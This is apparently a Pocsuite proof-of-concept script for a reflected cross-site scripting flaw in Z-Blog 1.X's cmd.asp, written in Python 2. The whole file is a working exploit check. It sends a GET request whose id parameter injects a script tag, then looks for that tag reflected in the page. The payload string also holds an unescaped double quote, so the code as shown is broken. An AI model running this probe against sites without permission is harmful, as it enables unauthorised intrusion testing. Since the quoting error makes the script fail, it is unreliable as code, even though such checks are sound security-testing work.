Z-blog 1.8 cmd.asp xss跨站漏洞

                                                #!/usr/bin/env python
# coding: utf-8
from urlparse import urljoin
from pocsuite.net import req
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register


class TestPOC(POCBase):
    vulID = '20520'  # ssvid
    version = '1.0'
    author = ['Disorder']
    vulDate = ''
    createDate = '2016-01-08'
    updateDate = '2016-01-08'
    references = ['http://www.sebug.net/vuldb/ssvid-20520']
    name = 'Z-blog 1.8 cmd.asp xss跨站漏洞'
    appPowerLink = 'http://www.rainbowsoft.org'
    appName = 'Z-Blog'
    appVersion = '1.X'
    vulType = 'xss'
    desc = '''
    Z-Blog 1.X cmd.asp跨站漏洞
    '''
    samples = ['']

    def _verify(self):
        return  self._verify_xss()



    def _verify_xss(self):
        payload = "/cmd.asp?act=gettburl&id=22"><script>alert(/sEbUG/)</script>"
        res = req.get(urljoin(self.url, payload), timeout=5)
        return self.parse_verify(res, payload, 'xss')
    
    def parse_verify(self, res, payload, type):
        output = Output(self)
        result = {}

        if  type == 'xss' and '<script>alert(/sEbUG/)</script>' in res.content:
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = urljoin(self.url, payload)
            output.success(result)

        else:
            output.fail('Internet Nothing returned')

        return output

    def _attack(self):
     
        return self._verify()


register(TestPOC)